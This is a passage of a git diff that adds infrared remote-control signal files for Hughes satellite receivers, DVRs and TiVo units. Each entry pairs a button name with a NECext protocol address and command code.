0C FB 00 00 +command: 44 00 00 00 +# +name: VARIABLE_1 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 45 00 00 00 +# +name: VARIABLE_2 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 46 00 00 00 +# +name: VARIABLE_3 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 47 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 48 00 00 00 +# +name: SYSTEM_OFF +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 49 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 4A 00 00 00 +# +name: FACTORY_TEST +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 4B 00 00 00 +# +name: SPECIAL_DIAGNOSTICS +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 4C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 70 00 00 00 +# +name: ALPHA +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 75 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 81 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 82 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 83 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 84 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 85 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 86 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 87 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 88 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 89 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8D 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8F 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 90 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 92 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 93 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 94 00 00 00 +# +name: PR._CHANNEL +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 96 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 97 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 98 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 99 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: B6 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: F0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/133,48.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/133,48.ir new file mode 100644 index 000000000..7b7e3a823 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/133,48.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 02 00 00 00 +# +name: DIRECTV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 0F 00 00 00 +# +name: LIVE_TV_/_GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 12 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 13 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 13 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: BACKWARDS +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: RETURN_TO_LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: ADVANCE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: ENTER/JUMP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 36 00 00 00 +# +name: WINDOW +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 44 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 45 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 46 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/136,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/136,-1.ir new file mode 100644 index 000000000..4189d6975 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/136,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: FF_>> +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 01 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 02 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 03 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 05 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 06 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 0F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/4,-1.ir new file mode 100644 index 000000000..785d10d6f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/4,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/60,178.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/60,178.ir new file mode 100644 index 000000000..eb6b2f52f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/60,178.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 01 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 02 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 03 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 04 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 05 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 06 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 07 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 0A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 0B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 0C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 0D 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 0F 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 10 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 12 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 13 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 14 00 00 00 +# +name: PR._CHANNEL +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 16 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 17 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 18 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 19 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 36 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 70 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/71,-1.ir new file mode 100644 index 000000000..80481553c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/71,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 71 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DVR/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/DVR/12,-1.ir new file mode 100644 index 000000000..b75637fae --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/DVR/12,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: CHANNNEL_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 31 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 32 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 35 00 00 00 +# +name: QUICK_REWIND +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: TO_LIVE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 41 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DVR/133,48.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/DVR/133,48.ir new file mode 100644 index 000000000..45825c5cc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/DVR/133,48.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 0F 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 13 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: THUMS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: CHANNEL+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: F_FORWARD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: 10_SEC_REWIND +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: CATCH_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 36 00 00 00 +# +name: WINDOW +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 44 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 45 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 46 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir new file mode 100644 index 000000000..b2cf2cd6e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 0F 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 13 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: THUMB_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: THUMB_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: --_> +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: -> +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 36 00 00 00 +# +name: RATIO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 44 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 46 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir new file mode 100644 index 000000000..ba0bf4949 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: TIVO/_MENU +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 0F 00 00 00 +# +name: DIRECTV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 0F 00 00 00 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 0F 00 00 00 +# +name: DIRECT_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 0F 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 13 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: THUMB_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: THUMB_SUP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: THUMB_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHAN_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: CHAN_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: FASTFORWARD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: SLOW_MOTION_PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: REPLAY< +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: --_> +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: TO_LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: -> +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: PLAY/ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 